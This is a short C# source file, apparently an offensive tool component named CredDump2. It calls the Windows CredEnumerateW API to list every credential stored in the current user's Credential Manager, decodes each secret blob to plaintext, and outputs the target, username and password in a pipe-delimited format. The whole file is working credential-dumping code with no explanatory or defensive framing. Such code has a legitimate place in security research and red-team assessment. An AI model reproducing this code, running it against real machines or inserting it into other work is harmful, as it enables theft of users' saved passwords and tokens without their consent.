using System;
using System.Text;
using System.Runtime.InteropServices;
public class CredDump2 {
  [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
  public struct CREDENTIAL {
    public uint Flags; public uint Type; public IntPtr TargetName; public IntPtr Comment;
    public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten;
    public uint CredentialBlobSize; public IntPtr CredentialBlob; public uint Persist;
    public uint AttributeCount; public IntPtr Attributes; public IntPtr TargetAlias; public IntPtr UserName;
  }
  [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode, EntryPoint="CredEnumerateW")]
  public static extern bool CredEnumerate(string filter, uint flags, out uint count, out IntPtr creds);
  public static string[] Dump(){
    var outl = new System.Collections.Generic.List<string>();
    uint cnt; IntPtr p;
    if(!CredEnumerate(null, 0, out cnt, out p)){ outl.Add("ENUMFAIL|" + Marshal.GetLastWin32Error()); return outl.ToArray(); }
    IntPtr cur = p;
    for(uint i=0;i<cnt;i++){
      IntPtr item = Marshal.ReadIntPtr(cur);
      var c = (CREDENTIAL)Marshal.PtrToStructure(item, typeof(CREDENTIAL));
      string tn = c.TargetName==IntPtr.Zero ? "" : Marshal.PtrToStringUni(c.TargetName);
      string un = c.UserName==IntPtr.Zero ? "" : Marshal.PtrToStringUni(c.UserName);
      byte[] blob = new byte[c.CredentialBlobSize];
      if(c.CredentialBlobSize>0 && c.CredentialBlob!=IntPtr.Zero) Marshal.Copy(c.CredentialBlob, blob, 0, (int)c.CredentialBlobSize);
      string pw="";
      try{ pw = Encoding.Unicode.GetString(blob); }catch{}
      outl.Add("CRED|" + c.Type + "|" + c.Persist + "|" + tn + "|" + un + "|" + pw.Replace("\n"," ").Replace("\r"," "));
      cur = (IntPtr)((long)cur + IntPtr.Size);
    }
    return outl.ToArray();
  }
}